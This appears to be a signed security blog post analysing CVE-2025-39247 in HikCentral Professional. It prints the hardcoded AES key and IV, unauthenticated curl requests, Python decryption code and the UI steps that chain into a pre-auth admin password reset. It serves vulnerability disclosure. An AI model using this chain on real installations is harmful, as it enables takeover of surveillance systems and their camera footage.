-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The function is structured as a key-derivation routine. It is not deriving a key.\n\nStatic disassembly of `platform.dll` from HCMP V2.6.2 locates the AES encryption used by the License QR endpoint at `0x1807d33e0`, a 502-byte function whose RTTI string is `VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode`. The function takes its IV from a single 16-byte stringref at `.rdata` offset `0x18200b1b0`. The bytes are `AaBbCcDd1234!@#$`. The IV is a literal.\n\nThe key is built differently. A helper at `0x1807d19b0`, 599 bytes long, runs immediately before the AES call. The helper takes one byte as its argument, allocates 16 stack bytes, and writes a sum into each:\n\n```text\nseed = 0x41\noffsets = [+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,\n -0x10, -0x0F, -0x0E, -0x0D, -0x20, -0x01, -0x1E, -0x1D]\nkey[i] = seed + offsets[i]\n```\n\nThe seed is hardcoded. The offset table is hardcoded. The output is hardcoded:\n\n```text\n0x57 0x77 0x58 0x78 0x59 0x79 0x5A 0x7A 0x31 0x32 0x33 0x34 0x21 0x40 0x23 0x24\n W w X x Y y Z z 1 2 3 4 ! @ # $\n```\n\nThe 16 sums spell `WwXxYyZz1234!@#$`. Eight alternating-case letter pairs, then the keyboard's number row, then the shift-row symbols. The function's output entropy is zero. Both inputs are binary-embedded constants; the output is determined.\n\nThe key and the IV are presented in two registers of the code. One is the obvious literal a developer writes into `.rdata`: that is the IV. The other is a 599-byte function with its own assembly listing and stack-frame setup: that is the key. A disassembly reader's first hypothesis on entering the 599-byte function is \"this derives a key from a runtime input.\" The function does not derive a key from a runtime input. The runtime input is `0x41`, and the runtime input is hardcoded.\n\nV2.6.3 keeps the IV literal at the same `.rdata` offset. V2.6.3 ships a separate mechanism to rotate the key on existing V2.6.2 installations: the Fix-Pack carries a 244-byte AES-128-CFB ciphertext blob named `wbaes_key_dec` and a whitebox-AES decryptor (`wbext_dec.exe`, source path leaks `D:\\Workspace\\SVN\\WhiteBox\\trunk\\apps\\src\\ossl_aes.c`) that turns the blob into the replacement key at install time. Whitebox AES is the defensive technique a DRM system uses when it needs to hide a key inside an artifact whose audience it does not trust. Hikvision is now using it to hide the patch's new key from people who possess the patch.\n\n## The endpoint that encrypts the License ActiveCode with that key is pre-auth.\n\nTwo POST requests retrieve the ciphertext from any HCMP server on the network. Neither requires authentication.\n\n```bash\n# 1. Obtain an anonymous session identifier.\ncurl -k -X POST \\\n \"https:///ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET\" \\\n --data-binary @/dev/null\n# Response: ResponseStatus.Data.CryptoResponse.{ SID, CryptoKey, CryptoType, CryptoMode }\n\n# 2. Fetch the License/ActiveCode QR code.\ncurl -k -X POST \\\n \"https:///ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=\" \\\n --data-binary @/dev/null\n# Response: ResponseStatus.Data.QRCode = base64(PNG of a QR code)\n```\n\nThe QR's payload is the URL `https://www.hikvision.com/en/support/how-to/how-to-video/?SN=`. The `SN=` value is `base64(AES-128-CBC-PKCS7-Encrypt(KEY, IV, plaintext))`, where the plaintext follows the format string `License:%s;DZP:%s`. The first `%s` is a comma-separated list of the install's License ActiveCodes, one per activated module. The second `%s` is the install's DeviceCode.\n\nThe string literal `License:%s;DZP:%s` is present in `platform.dll` for V2.6.2 through V3.0.0. V2.6.3 removes it. The QR endpoint, the AES wrapper at `0x1807d33e0`, the IV literal, and the arithmetic-encoded key build all persist in V2.6.3. The patch removed the format string that names what the plaintext contains. The endpoint still emits a base64 of an AES ciphertext; the ciphertext, in V2.6.3, no longer carries the ActiveCode.\n\nDecryption on a vulnerable target is the inverse of the format string:\n\n```python\nct = base64.b64decode(re.search(r'SN=([^&]+)', qr_url).group(1))\npt = Cipher(algorithms.AES(b\"WwXxYyZz1234!@#$\"),\n modes.CBC(b\"AaBbCcDd1234!@#$\")).decryptor().update(ct)\n# pt: \"License:[,...];DZP:\"\n```\n\nEvery step is one request away from any host that can reach the HCMP web tier. The audit log on the target records two reads against the licensing API. The reads look normal for the licensing API. The licensing API is the side of the product that talks to anonymous callers about admin state.\n\n## The endpoint that accepts the same value as proof of identity has no remote-address check.\n\n`PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword`\n\nStrings extracted from V2.6.2 `platform.dll` describe the request shape:\n\n```text\nVSMPlatform::CCmd::Security_ChangeDefaultUserPassword\n..\\..\\src\\vsmplatform\\NetworkComm\\ISAPI\\CmdHandle\\SecurityCmd.cpp\n/ChangeDefaultUserPasswordRequest/UserName\n/ChangeDefaultUserPasswordRequest/Password\n/ChangeDefaultUserPasswordRequest/ActiveCode\n/ChangeDefaultUserPasswordRequest/CryptoKey\n/ChangeDefaultUserPasswordRequest/QuestionList\n```\n\nThe handler validates that the request carries either a valid `ActiveCode` or the correct security-question answers. There is no auth-bypass by sending empty fields; the validation logic was present in V2.6.2 and rejected unknown values. The handler trusts the caller because the caller, in the design, is the local installer at first-run setup. The local-installer assumption is what the handler relies on for the rest of its behavior, including the privilege of resetting `admin`'s password.\n\nNothing in V2.6.2 enforces the local-installer assumption at the network layer. The Nginx config's catch-all `/ISAPI/Bumblebee/Platform/V0/*` proxy directive forwards every inbound request, regardless of source address. The V2.6.3 patch's entire Nginx delta is one new `location =` block:\n\n```nginx\n#禁止非127.0.0.1和::1的重置密码\nlocation = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {\n if ($remote_addr ~ ^(127\\.0\\.0\\.1|::1)$) { set $allowed 1; }\n if ($allowed != \"1\") { return 403; }\n if ($scheme = \"http\") { proxy_pass http://http_backend; }\n if ($scheme = \"https\") { proxy_pass http://http2_backend; }\n}\n```\n\nThe Chinese comment translates to \"Forbid password reset from non-127.0.0.1/::1.\" The Hikvision engineer who wrote that comment in 2025 understood, at the moment they wrote it, that the endpoint had only ever been safe under that constraint. The constraint was not in the Nginx config for any release between V2.3.1 and V2.6.2, nor for V3.0.0. The endpoint had shipped without it for the life of the product line.\n\n## The closing argument is the Forgot Password page.\n\nOnce the attacker holds an ActiveCode recovered from the QR, the remainder of the chain is the customer-facing UI:\n\n1. Open `https://:` in a browser.\n2. Click \"Forgot password.\"\n3. Username: `admin`.\n4. Recovery method: \"Activation code.\"\n5. Activation code: the value recovered from the QR.\n6. Choose a new admin password.\n7. Log in as admin.\n\nThere is no special HTTP request, no brute force, no social engineering. The operator clicks through the same form a legitimate user with the right ActiveCode would have clicked. The product validates the ActiveCode against the install's database, accepts it, and issues an authenticated admin session. The session can add cameras, replay archives, change recording retention, export footage, and reach every IP camera the facility connected to its central VMS.\n\nThe PoC author's script performs only the two pre-auth POSTs, decodes the QR, decrypts the ciphertext, and then prints the seven UI clicks with the recovered code inserted. The README is explicit: \"the tool remains a verification instrument rather than a fire-and-forget weapon.\" The PoC author named the two halves of the chain and left the join to the operator. The join is a UI workflow paved by Hikvision.\n\n## The CVE record names the leak. The bug is what the leak is the key to.\n\nThis is an [emergent primitive](/patterns/emergent-primitive). Two endpoints, each correct under its own threat model, compose into a pre-auth admin takeover that neither would produce alone. The QR endpoint's team built a self-service license display; their threat model was license fraud, not secret leakage. The password-reset team built a first-run installer endpoint; their threat model was network access from non-local callers. Each component is correct under its own assumption. The product team responsible for noticing that the value emitted by one feature is the credential consumed by another is the team that does not exist on the org chart. The composition is the bug, in the same shape the Linux network stack and a six-year-old `esp_input` fast path produced [Dirty Frag](/posts/dirty-frag-patched-half-ubuntu-already-mitigates).\n\nThe CVE record names exactly one of the two halves. The description is \"HikCentral Professional - Pre-Auth License ActiveCode Leak.\" The CVSS vector is:\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n```\n\nThe integrity-impact metric is `I:N`. The official rating, signed by Hikvision and accepted into NVD, says the bug has no integrity impact. The exploit chain ends with the attacker resetting `admin`'s password through the vendor's own Forgot Password page. The admin password is the value most commonly recognized as \"the integrity of the user database.\" A pre-auth admin takeover of a video management system is rated, in the official record, as integrity-impact-none.\n\nThe leak named in the CVE is one mouth of a system that talks to anonymous callers about admin state. The V2.6.3 patch closed that mouth. The same release leaves intact:\n\n- `RetrieveStateInfo(Name=admin)`, which returns admin's email address, whether security-question recovery is configured, whether email recovery is configured, and the remaining lifetime of any in-flight verify code. Pre-auth. Reachable on patched V2.6.3.\n- `GetSecurityQuestionCommBeforeLogin`, the sibling that hands out the configured security-question prompts. Pre-auth. Reachable on patched V2.6.3.\n- The 6-digit verify-code search space on the email-recovery path. The format string in `platform.dll` is `%06d`; the schema declares `verify_code VARCHAR(64)`. V2.6.3 added a per-account lockout class, `CRetrievePwdByQuesFreezeManager`, scoped to the admin user. Other paths do not carry the lockout.\n\nThere is also the matter of where the vulnerable installer lives. The V2.6.2 download page was removed from `hikvision.com` after disclosure on 2025-08-28. The installer binary itself, `HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe`, 1,314,043,792 bytes, MD5 `76d42e7cb16dc0e177b9a35d0fed7ced`, is still served by the Tencent EdgeOne CDN at the original URL when the request carries the matching `Referer` header. The cache-status header reads `HIT` with an `age` of roughly 29 days at the time of analysis. V2.5.1 and V2.6.0 behave the same way. The delisting was a website edit. The asset the website pointed to was not affected by the website edit.\n\nPoC: [Sita-Technologies/CVE-2025-39247](https://github.com/Sita-Technologies/CVE-2025-39247)","closing_line":"Each subsystem is correct under its own assumption. The composition is the bug, and Hikvision rated its integrity impact as none.","hook_md":"Hikvision's AES-128 key for HikCentral Professional's License QR codes is `WwXxYyZz1234!@#$`. A function in `platform.dll` derives those 16 bytes at runtime by taking the byte `0x41`, the ASCII letter `A`, and adding sixteen hardcoded signed offsets to it. The offsets are chosen so the sums spell four uppercase letters, four lowercase, four digits, and four shift-row symbols. The function is presented in the disassembly as a key-derivation routine. It is not deriving a key. The arithmetic encodes the constant, and the constant is the same across every install of every vulnerable version of HCMP. A pre-auth endpoint on the same product encrypts the install's License ActiveCode with that key. The admin password-recovery workflow accepts that ActiveCode as proof of identity. The CVSS vector Hikvision filed for CVE-2025-39247 rates the integrity impact as none.","post_id":428,"slug":"hikcentral-cve-2025-39247-arithmetic-encodes-the-constant","title":"CVE-2025-39247: HikCentral Spelled the AES Key Out of Arithmetic. The Endpoint That Encrypts the Admin's Recovery Code With It Is Pre-Auth.","type":"initial","unreadable_sentence":"The function is presented in the disassembly as a key-derivation routine. It is not deriving a key. The arithmetic encodes the constant."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCal+t+QAKCRDeZjl4jgkQ JvuaAQDhF9yXrjhoekY6Rd3TO+LP+H6V2mxCL02Hfd94ciuuhwD/d+DVJG+LHSbE 2djargr/qyT2EWnuFDtLKZrhxCRGgw4= =p0QB -----END PGP SIGNATURE-----